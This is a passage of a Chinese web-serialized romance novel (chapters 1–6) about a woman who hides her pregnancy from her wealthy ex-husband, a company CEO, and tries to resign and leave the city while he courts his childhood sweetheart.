《离婚半年才怀,贺总,娃真不是你的》 1.离婚半年怀孕了 深夜,沈渺发了一张新生儿照片,并且配文:升级当妈啦,嫡长儿! 不出一个小时,家门被已经离婚半年的前夫敲响。 门一开,贺忱那张阴沉的脸,就让沈渺这两室的出租屋温度,降至冰点。 沈渺握着门把的手扣紧,“你怎么来了?” 男人冷着脸不说话,抬脚进来,锃光瓦亮的皮鞋踩在老式居民楼的彩花地板上,格格不入。 这不是他第一次来这里,他径直去了沈渺的卧室。 他的助理林昭,手里拿着一份协议书,递给沈渺。 “沈秘书,好久不见,这是贺总的御用律师连夜拟定出来的抚养权协议书。” 沈渺接过协议书,翻开看了一眼。 贺家长孙,必须由贺家抚养长大。 整页的长篇大论,沈渺精准地捕捉到这一句。 果然,贺忱要争抚养权。 他也不是那么不讲情面,沈渺可以将孩子抚养到三周岁。 前提是她愿意,她要是不愿意,现在贺忱就把孩子带走。 沈渺的心尖淡淡化开一抹痛,蔓延至四肢百骸。 她还愣着神,贺忱从卧室走出来。 “孩子呢?” 两年前嫁给他的时候,沈渺就知道他是个沉默寡言,并且冷血的人。 但贺忱很君子,因为一次意外睡了她,为了负责他提出结婚。 沈渺答应是因为长达六年的暗恋。 可是在这个节骨眼上,他未免也太惜字如金了。 就没什么话要说? 林昭看着沈渺的眼神充满同情,见气氛僵持,他识趣地退出出租屋,并且关了门。 逼仄的空间,静谧的夜晚。 沈渺突然轻笑了声,打破沉寂。 “什么孩子?” 贺忱身姿笔挺,站在客厅中央。 暗黄的灯在他头顶笼罩,令他五官轮廓模糊。 沈渺转过身,白净的小脸被灯光照得十分清楚,黑白分明的眼睛清可见底。 像是真听不懂他的话。 “算算日子,离婚时就怀了?既然如此,你又为什么要离婚。” 贺忱的质问不带一点儿情绪。 完全是好奇。 沈渺跟他结婚以后,才发现他结婚真的是为了负责。 如果非要找出负责以外的原因,那就是想要一个合法的生理需求工具吧。 两年的时间,她明确了自己在他心里的定位。 自幼在孤儿院长大的沈渺缺爱,也缺安全感。 这段婚姻,没有给她带来任何的温暖。 除了他每晚在床上动情,眼里只有她的那一刻—— 所以,离婚是沈渺提的。 贺忱只说了一句:只要你不后悔就行。 办了离婚证当天下午,沈渺就向他提出调职,被调去京北另一个区的分公司任总经理一职。 半年没见,她竟然生了个孩子出来。 贺忱说不清心头什么滋味。 “我这不是给程小姐腾地方吗?”沈渺淡笑着,“你真要把孩子带回去,程小姐能同意吗?听说你们好事将近,她要是一生气跟你分手了,你怎么办?” 据说程唯怡是贺忱这辈子唯一爱过的女人。 两人青梅竹马,后来不知为什么分手,程唯怡出国了。 后来几年贺忱都单着,零绯闻,媒体几次报道这段恋情,都说他在等程唯怡回来。 半年前,程唯怡回国,成为了压垮沈渺想离开,却又舍不得离开的最后一根稻草。 得知她回来,沈渺当天晚上就提了离婚。 “这些都跟你没关系,也不是你该考虑的问题。” 贺忱态度依旧,并未有半分动容,“你是聪明人,孩子不该跟你在这种环境下长大,回贺家才是最正确的选择。” 沈渺是聪明,但再聪明的人,在动了感情的情况下,也无法保持理智。 “狗都不嫌家贫,儿肯定更不嫌,我的孩子都不嫌弃,你这是替他嫌弃我?” 她那张嘴,一直都很硬。 贺忱算了解她,她是一个很有自我立场的人,一旦认定的事情都会坚持。 以前在工作上,她跟他叫过板,为了一个项目评估,她冒着被开除的危险也要跟他刚。 就只有在床上,他让她服过软。 但这次不一样,她再坚持,贺忱也不能让。 “沈渺,你觉得你有能力跟我斗?” 他不讲武德,沈渺犹如被一双无形大手,狠狠掐住了脖子。 没有辩驳能力,更没有反击能力。 沈渺扯了扯嘴角,“贺总,你误会了。” “那是商音的孩子,我下班之后去医院看她,才进家门。” 贺忱眉骨收拢,凝望着她。 质疑,审视,最后见她还穿着紧身的包臀裙,挺翘的臀部细细的腰肢。 不像怀过孕,更不像刚生完的! “哦,商音你还记得吧?我常跟你提的……” 沈渺解释。 但贺忱根本没听。 他从口袋里掏出一根烟,咬在嘴里,点燃后走到窗边一口接一口地抽。 短短一个小时,喜当爹,又下任了,他需要冷静。 半年不见,沈渺好像哪里变得不一样了。 他说不上来,与记忆中不一样,他在窗户的倒影上细细打量她。 她虽然有点小脾气,但结婚那两年私下在他面前像宠物猫一样,温顺听话。 现在,像野猫。 居然做出这种没边没谱的恶作剧? 沈渺走过来,把他面前的窗户打开,寒冬腊月刺骨的冷风吹进来,将烟味散去一些。 “虽然你误会了,但我还挺好奇,万一真有孩子,孩子跟程小姐也必定只能二选一,你选哪个?” 她很识趣,自己都不曾在贺忱的备选中。 “没那么多万一。” 贺忱掐灭了烟,找了一圈没找到烟灰缸,捏着烟蒂离开了她家。 他不是那种有闲情逸致,半夜三更跟前妻叙旧的人。 沈渺想,要不是看到那条朋友圈,他这辈子都不会再跟她见面。 除非像一个月前,偶然在酒店遇到,他喝多了,他们——又睡了一次。 沈渺怕尴尬,提上裤子趁他还没醒就跑了。 本想把这件事烂在肚子里,谁知这件事在她肚子里生根发了芽。 她是真怀了,六周,胎儿发育健康。 窗外下着雪,大片的鹅毛雪花下落,让一身黑色着装的男人更为显眼。 沈渺关了窗户,头抵在冰凉的窗户上,看着他把烟蒂丢垃圾桶里,上了路边的布加迪,疾驰而去。 那辆车,出现在这贫民窟,如此的突兀。 就像贺忱,本不该出现在沈渺的生命里。 2.她准备跑,离贺忱越远越好! 沈渺是孤儿院最有出息的那个,因为学习好被国内顶尖大学全免录取。 她就是那时候认识了贺忱,在那么多的公子哥中,他鹤立鸡群,闯入她的视线。 沈渺本想,这两年婚姻,以及夜夜的缠绵,当做这辈子的回忆,都足够了。 可偏偏,肚子里揣上娃了。 她舍不得打掉这个孩子,毕竟这是她在这个世界上唯一有血缘关系的人。 她怕贺忱抢孩子,又抱着侥幸心理,万一贺忱怕程唯怡生气,不认这个孩子呢? 结果—— 沈渺叹一口气,低头看着尚且平坦的小腹。 虽然贺忱不记得那晚的事情,但她还是想做万全的准备。 只要不在贺忱眼皮子底下,偷偷生个孩子,他肯定不会发现吧。 就算发现了,有这次前车之鉴,下次就算真有了孩子,他也不会再来了吧? 临近年关,百荣开年度总结会。 沈渺带着年度总结报表,到总公司进行汇报时,多带了一封辞职信。 她准备跑! 离京北,离贺忱越远越好! 九点十分的会议,九点半了贺忱还没露面。 “我刚才来的时候,看到程小姐了。” 另外一个分公司负责人进来,小声说,“她在贺总办公室。” “难怪贺总会迟到,陪程小姐呢。” 贺忱向来以工作为主,十分守时。 程唯怡的出现,破了他的先例。 沈渺终于明白,什么叫被偏爱。 她起身走到会议室窗边,扒开窗帘缝看对面的总裁办公室。 办公室的窗帘拉了一半,隐约可见清一色深灰室内,有一抹靓丽的紫色。 曾经身为贺忱的秘书,沈渺对他的办公室很熟悉。 她脑海里勾勒出一幅贺忱坐在椅子上,程唯怡靠在他办公桌上,两人对视浅笑的画面。 甚至更亲密。 她是为了贺忱才进百荣的,本想做个围着他转的小角色。 最后却牵扯如此深。 或许,只在她的生命里牵扯深,对贺忱来说她只是一个多看了一眼的路人甲。 那两年的婚姻,她没有任何的特殊对待,更别提偏爱。 真不知她拼了命挤到贺忱身边,究竟是对是错? 暗自庆幸曾跟他那般亲密。 却又后悔。 五味杂陈的滋味,在心头蔓延开。 “各位可以开始汇报了,会议全程视频记录,贺总会看回放的。” 林昭推开会议室门进来。 沈渺指尖微动,松开了窗帘,垂着眼帘回位置上坐下。 各分公司总经理进行汇报,没有贺忱在场,汇报进行得很快。 原本计划三个小时的会议,只用了两个小时。 “各位可以先去酒会了,贺总等会儿就下去。” 林昭把每个分公司的年度报表收集起来。 收到沈渺这儿时,沈渺冲他笑了笑。 “林特助,麻烦你把这个交给贺总。” 沈渺把辞职信装在信封,她本打算亲自交给贺忱的。 但程唯怡在办公室,她不方便进去。 “你可以直接交给贺总。” 林昭是贺忱的特助,沈渺是秘书,他们以前没少打交道,林昭也是公司里唯一知道他们婚姻关系的人。 他看了看贺忱办公室方向,“你敲门进去就行,反正是工作上的事情。” 会议室的门敞开着,能看清楚总裁办公室内的情形。 程唯怡就坐在贺忱的椅子边缘处,两个人挨得极近。 贺忱轮廓分明的面容带着一丝柔和,金丝眼镜下那双平日里清洌的眼眸,此刻尽是绵情。 或许是他们这半年来一直这样相处,林昭都见怪不怪了。 但这却是沈渺第一次见,她呼吸一滞。 沈渺以为离了婚,调职,远离贺忱,对他的感情就会一点点减少。 未曾想,看到他跟别的女人这般亲密,她的心里针扎般密密麻麻的疼。 她扯扯嘴角,强行把视线收回来。 “我就不打扰了,麻烦林特助了,谢谢你。” 林昭把信封接过来,“不用客气。” 他想,沈渺可能在避嫌,跟贺忱离婚后主动调职,现在更是私下连面都不见。 “林特助,再见。” 沈渺拿过公文包,冲林昭挥挥手,“酒会我就不参加了。” 与其去年会上,看贺忱跟程唯怡成双成对,还不如早点回家,整理文件好交接工作。 一般主动离职,没有意外情况贺忱都会批准。 距离年底放假还有两周,足够贺忱找到人顶替她位置,交接工作了。 她还得再计划一下,离开京北去哪里。 去一个没有百荣分公司,贺忱绝对不会去的地方。 林昭将报表以及沈渺的离职信,一并交到贺忱办公桌上。 “贺总,稍后会议记录整理好,我会发到您邮箱,另外这是沈秘书……沈总给您的东西。” 贺忱推了推鼻梁上的眼镜,看了眼那摞文件。 最上面那封只写了沈渺名字的信封映入眼帘,他微拧着眉。 “她人呢?” 林昭颔首答,“走了。” 贺忱伸出手,拿过信封,正欲拆开。 程唯怡站起来说,“贺忱哥,我去个洗手间。” 她转身朝外面走,出了办公室却径直朝电梯口走去。 两年前贺忱突然闪婚,虽未对外公开,但程唯怡母亲与贺夫人是闺蜜,没有秘密。 她是回国后才从母亲口中得知,不然她怎么可能会在国外待那么久? 好在她知道时,贺家传来消息,贺忱跟沈渺离婚了。 虽然已经离婚,但程唯怡对这个传说中的贺少夫人,十分好奇。 听说是秘书上位,长得漂亮又聪明能干。 只可惜,出身不好,不是一路人注定走不到最后。 听说那女人还算识趣,离婚后就申请调职了。 可是刚刚那只写了名字的信封,还是让她觉得,沈渺应该也不安分。 程唯怡快走几步,还是没追上,电梯已经下去了。 她只能作罢,又快步回去想知道那信封里到底装了什么? 小情书?小礼物?告白的卡片、手写的信? 越想,程唯怡走得越快了。 3.就当告别 程唯怡刚进办公室,就看到林昭在订票,忙问,“贺忱哥呢?你订票干什么?” “在休息室,分公司那边有突发状况,贺总要过去一趟。” 不待林昭话音落地,程唯怡从包里拿出身份证件递过去。 “帮我也定一张,我陪他去。” “啊?”林昭一愣,诧异地看向她。 她理所当然道,“怎么了?要让贺忱哥说你才听啊?” 这半年,贺忱去哪里她去哪里。 林昭一想也是,接过她的证件,“好。” 程唯怡看到拆开的信,里面的东西已经被贺忱拿走了。 她拧起眉,眸色尽是防备。 没一会儿,贺忱换了一套衣服出来,拎着公文包,阔步朝外走。 那张并未被展开的辞职信,被他随手放在床边,收拾东西时又不小心掉在了地上。 —— 沈渺在网上搜孕期注意事项时,财经新闻弹出词条,她这才知道贺忱出国了。 临近年关,公司正忙,贺忱抛下工作带着程唯怡出国。 媒体猜测他们好事将近,去国外踩点准备结婚。 这半年,关于他们的绯闻虽然很多,但沈渺从来没有点进去看过。 她在刻意逃避。 逃了半天,一个月前见贺忱那次,还是做不到推开他,上了床。 索性不逃了,反正要走了,早扎心早死心。 她点开新闻,把照片放大。 男人黑色西装,拎着粉色的行李箱,臂弯处还搭着女士的包包。 他站在女洗手间门口,不用想也知道是在等程唯怡。 大名鼎鼎的百荣掌事人,贺家长子、唯一继承人。 随便哪个身份拎出来都是让人望尘莫及的。 不曾正眼看过她的男人,却做出大庭广众之下在女洗手间门口等着人的事情。 虽然是偷拍,但贺忱三百六十度无死角。 他骨相生得极好,几张不同角度照片皆是透着矜贵。 隔着屏幕,沈渺似乎能感受到男人的气息。 她将手机关了,手抵在小腹上,看着对面一米五的沙发。 跟贺忱领证后,她回家收拾东西,贺忱过来接她。 她没想到贺忱会过来接,刚洗了澡,正收拾东西。 穿得单薄,头发湿哒哒的,引得男人把控不住。 在这张沙发上,做了他们的第二次。 那是在这里唯一一次,也是最后一次吧。 沈渺的手抵在嘴上,轻咬着手指。 她的工资很高,这些年攒了不少,就算近几年不上班,都够她跟孩子生活的。 未来她也一定会努力,给孩子更好的生活。 等了几天,她有些沉不住气了。 借着工作,跑到总部去,找人事部熟人打听离职手续进行到哪一步了。 但她来得不巧,人事部在开部门年终总结会,要中午才结束。 分公司还有一堆事,沈渺等不了,只能离开。 刚转了个身,手腕突然被人拉住。 “嫂子!我终于见到你了!” 贺懿小声喊了她一句,拉着她朝楼道走。 声控灯亮起,沈渺看着比自己高了半头,还趴在自己肩膀上撒娇的女孩。 “我跟贺忱都离婚了,以后别叫我嫂子了,咱们年纪相仿,喊名字就行。” 贺懿是贺忱的亲妹妹,比贺忱小三岁。 她应聘进公司一年了,从底层做起,之前沈渺明里暗里帮了她很多。 贺懿很喜欢她。 “离了婚你也是我嫂子!奶奶和爷爷念叨你很久了,今天终于让我抓到了,我去请假,现在就回家!” 贺懿真干得出这种事情。 沈渺赶忙拉住她,“临近年关公司忙,这时候请假会影响你的转正评估。” “嫂子,不,渺渺,你就回去嘛,回去看看行不行,求求你了!” 拗不过贺懿,沈渺只好道:“那晚上回去,行吗?” 跟贺忱这段婚姻,除了贺忱不爱她,几乎是没有缺点的。 贺忱提出隐婚,她以为连贺家人都要瞒着。 谁知领完证他就带着她回了贺家。 贺忱的父亲对贺忱先斩后奏十分不满,但终归是没说什么。 而贺忱的母亲是一直没接受她,但也不为难地冷处理状态。 贺家老两口很喜欢她,每周固定回去吃一次饭,她都能在老两口身上感受到亲人的关心和爱意。 如今她要走了,以后大概率都不会再回来。 走之前再去拜访一下贺家二老,就当告别吧。 反正,贺忱也不在。 “真的?”贺懿打电话、发消息找了她好多次,她都拒绝去贺家,“你不是耍我吧?” 沈渺笑了笑,把她衣服上的蝴蝶结整理了下,“我什么时候骗过人?” 刚说完,她心里咯噔了下。 她是从来不骗人,但这次对贺忱撒了个弥天大谎。 一旦被抓包,当场‘处死’的那种程度。 “那行,我现在就去给爷爷奶奶打电话!” 贺懿性子单纯,从来不觉得沈渺与贺忱已经离婚,她是真的不适合再往贺家跑。 罢了,就去这一次。 沈渺离开总部,去分公司的路上,路过一家百年糕点店,买了贺家二老喜欢吃的东西。 晚七点,华灯初上,偌大的贺家庄园灯火通明。 老太太愤怒的咆哮声响彻整个别墅。 “这个臭小子,放着你这么好的媳妇不知道珍惜,我看他下半辈子怎么过!” 离婚后,贺老夫人给沈渺打电话,狠狠骂过贺忱一次了。 现在坐在贺家还听贺老夫人把错归结到贺忱身上,沈渺心里发虚。 “奶奶,离婚真的是我提的。” 没离婚时,每次回贺家老宅老两口就板着脸训斥贺忱,对她好一点,贺忱的父母就不高兴。 现在离了婚他们还为她骂贺忱—— “我哥要对你好,你怎么会离婚?”贺懿端着果盘,听着二老骂贺忱,一味帮腔。 沈渺给她使眼色,想让这个小祖宗消停点。 见沈渺局促,贺老爷子转移话题,“渺渺,去分公司还适应吗?” “适应。”沈渺点头,“爷爷奶奶,你们多注意身体,我一切都好。” 贺老夫人抓着她的手,“怎么感觉瘦了啊?是不是工作太忙了?换个职位行不行啊?工资照总经理开,工作减半!离婚时你怎么不分他一半财产啊……” 不知情的,还以为贺老夫人是她亲奶奶。 贺忱一半的财产,能让沈渺几辈子都躺平,随便花。 婚已经离了,二老骂了贺忱几句,就只聊沈渺最近如何,贺懿以及老两口之间最近的趣事。 聊得正开心时,院子里突然传来汽车的嗡鸣声。 沈渺侧目看去,熟悉的布加迪映入眼帘。 4.沉重的‘再见\’ 不等客厅几个人反应过来,楼上传来脚步声。 贺忱的母亲明黎艳匆匆下楼。 年近五十的女人身材很好,保养得像三十多岁。 她只裹了一件红色披肩,不惧室外零下十来度的温度,去迎接人。 刺眼的车灯熄灭,沈渺这才看清楚,跟贺忱一起下车来的,还有程唯怡。 在她面前向来端着架子的明黎艳,任由程唯怡挽着她胳膊。 贺忱一脸笑意,绕到后备箱拿出几个购物袋,静等着她们叙旧。 这一幕落入沈渺眼里,有些刺得慌。 她移开了目光,突然就如坐针毡。 人家带了现任回来,她在这里算怎么回事? 可现在走已经来不及,必定要正面对上。 “是不是贺忱没照顾好你?怎么瘦了?” 明黎艳的声音由远及近,“你被他‘虐待’了,我怎么跟程家交代?” 伴着一声声高跟鞋的声音,程唯怡娇笑。 “我妈只担心我影响了贺忱哥工作,才不会关心我瘦没瘦呢,我们两个是不是从小抱错换妈了?你们眼里啊,从来没有我们,都是对方的孩子!” 明黎艳被逗笑,轻拍了下程唯怡的手背。 两人愉悦的交谈声,随着来到客厅而戛然而止。 贺忱拎着购物袋在她们后面走上前,看到沈渺顿住,眉心一蹙。 他们的到来,打断了客厅欢快的气氛。 而打断她们亲昵的,只有沈渺一个人。 “咦,伯母,家里有客人啊。” 程唯怡一眼就认出沈渺来了。 比她想象中长得更漂亮,坐在那里一动不动,就能让其他女人心里生出危机感、嫉妒感的容貌。 难怪,贺忱会娶她。 不知明黎艳刚才下楼是真没看到沈渺,还是看到了装没看见。 她脸上没了笑容,语气带着不满,“你来干什么?” “我请嫂……渺渺回来的。”贺懿站起来,把果盘往茶几上一放,“干什么?我不能带朋友回来啊?” 明黎艳瞪了贺懿一眼,扭头说,“小懿的朋友,这孩子什么人也往家里带。” 她拉着程唯怡过去坐下。 贺忱眸色极深地看了沈渺几眼,然后将几个购物袋放在茶几上。 “你们聊,我先上楼处理一些工作。” 他转身上了楼。 “爷爷奶奶,我刚跟贺忱哥从M国回来,特意给你们买了礼物!” 程唯怡起身,将几个购物袋都拿过来。 把给贺家每个人的礼物,分别送到他们手上。 贺懿对程唯怡不感冒,接了礼物说了声‘谢谢’,就丢到一旁了。 贺家老两口毕竟是长辈,程唯怡又是‘准孙媳’,所以他们寒暄了几句。 “我就知道爷爷奶奶会喜欢这些,看来真没买错,以后跟着贺忱哥少不了去国外,我再给你们买其他的。” 程唯怡将多出来的一个购物袋,交给明黎艳。 “这是给伯父的,伯母你帮他收着!” 明黎艳笑得合不拢嘴,“还是你懂事,有心了,贺忱每次出去都不知道给我们带礼物……” 贺懿轻嗤了一声,凑到沈渺身边。 “之前你给她带礼物,也没见她笑成这样。” 沈渺抵在身侧的手,紧紧抓着衣角。 程唯怡出身好长得漂亮又嘴甜,关键还是贺忱的心上人,受明黎艳喜欢是理所应当。 而她不会说让人讨喜的话,出身也不好。 她强压了下情绪,对贺懿笑了笑,看似平静地坐在那里实则早已如坐针毡。 找了合适的机会,她立刻开口。 “爷爷奶奶,明董,程小姐,你们聊我先告辞,就不打扰了。” 她拿着包站起来。 贺老夫人一瞬面露不舍,“不是说好了留下来吃饭吗?” “不了,我还有事。” 沈渺朝贺家二老颔首,“提前给二老拜个早年,祝你们身体健康,万事如意。” 她在心里添了一句沉重的‘再见’。 贺老夫人难掩不舍,可知道贺忱回来了,她不自在,所以没挽留她。 “小懿,你去送送她。” 贺懿应了一声,起身跟着沈渺往外走。 “不用送。”沈渺看见明黎艳的脸色拉下来。 她加快离开的步伐,谁知刚换上鞋,就听贺忱的声音在二楼拐角处传来。 “沈渺。” 霎时,整个一楼静得落针可闻。 沈渺身体一僵,循声望去。 男人站在楼梯口,黑色的衬衫散开着领口,整个人透着几分随和却不失矜贵。 程唯怡在沙发上站起来,轻咬着嘴唇,看看沈渺又看看贺忱。 “加个班,做一个会议记录。” 沈渺细眉拧成一团,“贺总,我太久没接触总公司业务,怕是跟不上会议进度。” 二楼没开灯,男人处于光线昏暗处,令人看不清他的表情。 他似乎有些急,丢下一句‘哪那么多废话,赶紧上来’,就转身回书房了。 沈渺唇瓣微抿,察觉到客厅两道不满的视线落在自己身上,她犹豫着要不要上去。 “渺渺,你快去啊!”贺懿拉着她上楼,“不然我哥肯定抓我给他记录,还得骂我记录得不行!” 偶尔贺忱在家处理工作,贺懿经常性地被抓过来帮忙。 不干不行,干不好挨骂。 贺懿把她当成救星,直接把她塞到贺忱书房,‘砰’一声关上门。 许是关门声太重,贺忱眼皮轻掀看过来。 沈渺穿着宽松的黑色羽绒服,戴着一顶毛茸茸的白帽子。 脚下踩着一双平底鞋。 以往沈渺装扮是千年不变的高跟鞋配职业装,天儿再冷也就加一件呢大衣,商业范十足。 贺忱又回忆了一下,结婚那两年,不上班的时候他也没见她穿过平底鞋和羽绒服。 “今天没上班?” 5.沈渺是咱们家的禁忌 沈渺下意识用手扯了扯羽绒服,遮住平坦的肚子。 “上了,可能年纪大了,今年格外怕冷。” 她走过去坐下,转移话题,“需要用我的笔记本吗?那我得到车上拿。” “用我的。” 贺忱把笔记本推到沈渺面前。 屏保照片是一张老照片,一男一女的背影。 沈渺一眼就认出男人是贺忱,女人身型跟程唯怡相似。 她目不斜视,打开文件,机械地做会议记录。 在工作上,沈渺和贺忱还是很默契的。 他一个眼神,她就知道将哪一项工作标红,留作后期的重点观察。 他一个手势,她就让汇报工作的人结束,换下一个。 哪怕半年没跟他,默契依旧在。 贺忱紧拧的眉头,渐渐舒展开。 他的注意力不知不觉从工作中,转移到沈渺身上。 褪去死板的职业装,沈渺那张脸惊艳绝伦,年轻又漂亮。 她的手指软若无骨,细白又修长,曾经紧紧攥着薄被—— 室内热,她没脱羽绒服,光滑的额头冒出一层细汗。 脸颊泛红,卷翘的睫毛随着她眨眼的动作忽闪忽闪的。 沈渺属于那种乍看漂亮,也禁得住仔细打量的人。 不知不觉,贺忱看得有些出神。 会议那端的人,汇报结束,男人却没有动静。 沈渺的指尖敲着键盘,匆忙看了他一眼,对上他的眼神。 她心口一紧,迅速垂下眼帘。 将最后几个字打完,她又整顿了下衣服。 “热就脱了,会议还要持续很久。” 贺忱注意到她的小动作,丢给她两句话,又重新进入会议中。 心虚作祟,沈渺不敢脱。 “不用,我不热。” 贺忱又看了她一眼,灯光照在她脑门上,一层细汗都折出光来了。 “继续。”他并未管她。 沈渺额头的细汗,渐渐变成了汗珠,顺着脸颊落下来,打湿了她的头发。 又热又饿,她逐渐不舒服,胃里也一阵阵反酸水。 不知过了多久,会议终于结束。 沈渺起身拿了包,“贺总,会议记录我都保存好了,没其他事情就先走了。” 不等贺忱回话,她人已经出了书房。 长廊尽头的窗户开了一条缝隙,冷风吹进来,她舒服了些。 但胃里还是很难受,她不由得加快步伐。 餐厅离着玄关有一段距离,她打算趁人不注意就这么走了。 路过客厅时,一阵阵饭菜的香味飘来。 她以前最爱喝鱼汤,可不知怎的,今天闻到熟悉的鱼汤味胃里一阵恶心。 “开完会了?渺渺,吃了再走!”贺懿眼尖,看到她下楼立马起身过来。 沈渺摇头,谁知这一甩脑袋,胃里的酸水翻江倒海涌上来。 她冲进右手边的厕所,控制不住地干呕。 贺忱的声音贯穿着杂乱的脚步声传来,“章妈,拿胃药过来。” 小时候在孤儿院吃残渣冷饭,饥一顿饱一顿沈渺有严重的胃病,贺家人都知道。 贺老爷子懂医术,给她开过几服药调理这才好了不少,偶尔犯吃两片胃药就能好。 可今天这反应,是孕吐。 而怀孕,是不能吃胃药的。 沈渺迅速漱口,正打算说不用,可一回头鱼汤的腥味又传来。 她再次蹲下干呕。 贺老夫人也离席,走过来轻拍着沈渺的背。 “是不是饿久了?等会吃了胃药,喝点热鱼汤再走。” “喝点水!”贺懿端了一杯温水过来。 沈渺接过温水,漱漱口,又喝下去一口压了压那股恶心。 “抱歉打扰各位用餐了,我就是有些普通感冒,不是胃病,我家里有药回去吃就行。” 餐厅几人朝这边看过来,明黎艳不满的目光,最为明显。 程唯怡走到贺忱身边,挽着贺忱的胳膊,与贺忱一同看着沈渺。 贺懿添了句,“感冒哪里有吐的?你的脸色又红又黄,让爷爷给你把把脉吧!” 贺老爷子医术不说多好,但怀了孕他肯定能把出来! 沈渺心口一紧,迅速颔首语气更为客气,“不敢再劳烦爷爷了,我真的没事。” 她不想破坏贺家人的晚餐,尤其程唯怡还在这里。 贺老夫人理解。 但是两年接触下来,贺老夫人把她当成亲人,哪里能在明知她难受的情况下,让她就这么走了!? “听话,让爷爷给你看看,就当安奶奶的心了,成不成?” 沈渺暗暗朝贺老夫人摇头,就算她没怀孕,也不能抢了程唯怡在贺家的风头。 明黎艳坐不住了,起身朝这边走过来,“这饭还让不让人吃了?” 餐桌上只剩下贺老爷子与贺岭山还在座位上。 这饭,可不是要吃不下去了? 而沈渺就是打断他们一家人用餐的‘罪魁祸首’。 贺老夫人见她实在为难,只能松口,“真没事?” “真没事。”沈渺白净的小脸透着些许微黄,她冲贺老夫人挤出一抹笑容。 “那走吧,路上注意安全。”贺老夫人不想让她留下来,受明黎艳的刁难。 沈渺转身离开,走出别墅,冷气袭来,她额头的细汗瞬间变得冰凉。 贺忱站在室内,透过窗户看着她的背影。 灯火通明的庄园笼罩着她,她却头也不回地背道而驰,朝着冰冷、黑暗的院落外走去。 步伐快得像是后面有脏东西在追。 “贺忱哥,我们去吃饭吧。”程唯怡挽上他胳膊,拉着他朝餐桌走去。 贺忱敛回目光,被她拉到餐厅,一同落座。 明黎艳冷哼一声,回到餐桌上越过这个话题,与程唯怡热络地聊天。 饭局结束后,贺忱送程唯怡回家。 明黎艳特意上楼找贺懿,“以后别再跟沈渺来往!” “怎么了?”贺懿明知故问,“我还不能跟她交朋友啊?” 明黎艳气结,“你说怎么了?你哥跟唯怡都要订婚了,沈渺就是咱们家的禁忌。” 贺懿坐直身体,“我哥真的要跟程唯怡订婚啊?” “他们两个青梅竹马,订婚是迟早的事情,你再敢不听话,我饶不了你。”明黎艳训斥着贺懿。 明黎艳管不了贺家二老,一定要管住贺懿。 6.什么事情不能给贺总打电话,非要见他? 贺懿嘴上答应,却在明黎艳出去后冲着她背影直撇嘴。 —— 程唯怡拉着贺忱到餐厅入座,两人紧挨着坐的画面不断浮现在沈渺的脑海里。 她不该多看这一眼。 回去的路上沈渺吹了吹冷风,逐渐清醒,半路找地方吃了点温热的粥才回家。 接连几天,关于贺忱与程唯怡的新闻铺天盖地地袭来。 让沈渺觉得煎熬的是,辞职的事情还没动静。 她给人事部关系不错的张敏打电话问了问。 结果张敏压根不知道她要离职。 身为人事部经理助理,沈渺离职的事情一定会经张敏的手。 可她到现在都还不知道,证明贺忱还没批。 沈渺一脚油门踩下去,直奔百荣总部。 她来得不巧,贺忱在开会。 秘书办的人让她到会议室等。 她等了约莫半个小时时,程唯怡来了。 程唯怡胳膊上挂着当季限量款包包,妆容精致面色红润,与秘书办的人谈笑风生,颇有老板娘的风范。 进入贺忱办公室之前,程唯怡余光瞥到了会客厅坐着的沈渺。 她招手喊来秘书办的小秘书周芸,“那怎么回事?” “沈总是来找贺总的,不过她没提前预约,只能等。” 周芸冲程唯怡讨好的笑着。 程唯怡摆弄着指甲,眼底泛着精光,她低声交代着周芸什么。 没几分钟,周芸进入会客室。 “沈总,你先回去吧,贺总没时间见你。” 沈渺抬头看去,“贺总的会议还没开完,这话应该不是他说的。” 霎时,周芸被噎得说不出来。 沈渺心里有数,她说,“等贺总开完会,帮我转告一声,我只要五分钟就够。” “沈秘书,你有什么事情不能给贺总打电话,非要见他?”周芸变相地打探消息。 “贺总的电话打不通。” 若非如此,沈渺不会特意往这跑一趟。 周芸将她的话原封不动转述给程唯怡。 程唯怡根本不信,若是工作上的急事,沈渺坐不住。 可她坐在那里等,就证明事情不急,是她要见贺忱! 半年来沈渺都算安分,程唯怡本不把她放在心上了。 谁知如今她和贺忱要订婚了,沈渺又跳出来。 程唯怡怎能不防? 周芸周转于两人之间,又来到了会议室。 “沈总,麻烦你到东边那个会议室等着,我们等下开会要用这个会议室。” 沈渺起身拿上包转身就走。 东边的会议室在角落,贺忱回来不走这边,她是看不到的。 她坐下来,掏出手机发出一条消息去。 【恬恬,贺总回办公室通知我一声。】 李白恬跟周芸是秘书办同期入职的。 两人性格天差地别,周芸喜欢向上管理,之前总跟沈渺套近乎,沈渺一直不冷不热的。 她更喜欢踏实认干的李白恬,关系走得近。 李白恬很快回了个‘OK’的手势。 分公司一堆事务等着处理,沈渺交代好就开始处理公务。 谁知一忙就到了中午。 会议室的门被推开,李白恬跑进来,一脸歉意。 “沈渺姐,贺总跟程小姐去六楼用餐了,他开完会回来时我正好不在秘书办没看到。” 沈渺合上电脑装到公文包,起身朝外走,“没事,我现在下去还来得及。” “对不起啊沈渺姐,我真没注意贺总哪会儿回来的。” 李白恬一味道歉。 沈渺不怪她,毕竟自己也投入工作没来得及问。 她乘电梯下楼,刚出电梯对面的总裁专用梯门缓缓打开。 “我让餐厅扩了一个西餐口出来,从国外请过来的厨师,尝尝合不合你的胃口。” 贺忱温润的声音传来,黑色的西装挺括有型。 程唯怡穿着粉白色的毛衣,黑色小皮裙,小鸟依人般站在他身边。 “如果这次还不合我的胃口,你就去国外把那家餐厅的厨师挖过来。” 贺忱无奈道,“都依你。” 程唯怡笑容愈发灿烂,这才往电梯外走。 贺忱骨节分明的手挡了下电梯壁,让程唯怡先出来。 看到沈渺在电梯外,程唯怡笑容顿时浅下来。 “贺总,耽误您几分钟,我有事情想说。”沈渺走上前来,低垂着眉眼。 但她余光还能看到,程唯怡立马挽住贺忱的胳膊。 贺忱沉吟片刻,转过头与程唯怡说,“西餐凉了不好吃,你先进去,我马上就来。” “那行,你要快点哦。”程唯怡撒娇,说完不情不愿地松开贺忱,朝餐厅走去。 “跟我来。”贺忱的声音冷然了不少,丢下三个字朝尽头的休息区走去。 沈渺跟上他。 贺忱点燃了一根烟叼在嘴上,他看着腕表。 “五分钟。” “打扰您用餐了,您能不能尽快批准我的离职报告。” 沈渺直入主题。 贺忱眉骨一拢,将烟支从薄唇上拿下来。 “什么离职报告。” 沈渺抬起头看向他,“那天我让林助转交给您的离职报告。” 贺忱这才想起那个信封。 